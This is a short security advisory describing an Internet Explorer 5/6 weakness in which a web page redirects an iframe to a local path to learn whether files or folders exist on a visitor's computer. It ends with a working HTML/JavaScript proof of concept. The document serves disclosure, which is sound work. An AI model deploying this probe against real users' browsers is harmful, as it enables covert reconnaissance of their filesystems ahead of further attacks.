source: https://www.securityfocus.com/bid/11026/info

Microsoft Internet Explorer is prone to a security weakness that may permit an attacker to determine the existence of resources on a vulnerable computer.

An attacker can use an IFRAME that is accessible within the same domain and change its URI to the location of a file or directory. The attacker can then determine the existence of the resource by the error message returned by Internet Explorer.

This weakness can then allow the attacker to carry out other attacks against a vulnerable computer.

This issue was tested on Microsoft Internet Explorer 5.0 and 6.0. Other versions of the browser are likely affected as well.

<iframe src="http://www.example.com"></iframe>
<script type="text/javascript">
onload=function () {
var sLocal="C:/some_file_or_folder";
frames[0].location.href=sLocal;
setTimeout(
function () {
try {
frames[0].document;
alert(sLocal+" does not exists.\nHere could execute a script that infects
the computer with some virus, trojan, etc");
} catch (oErr) {
alert(sLocal+" Exists.\nThen do nothing");
}
},
250
);
}
</script>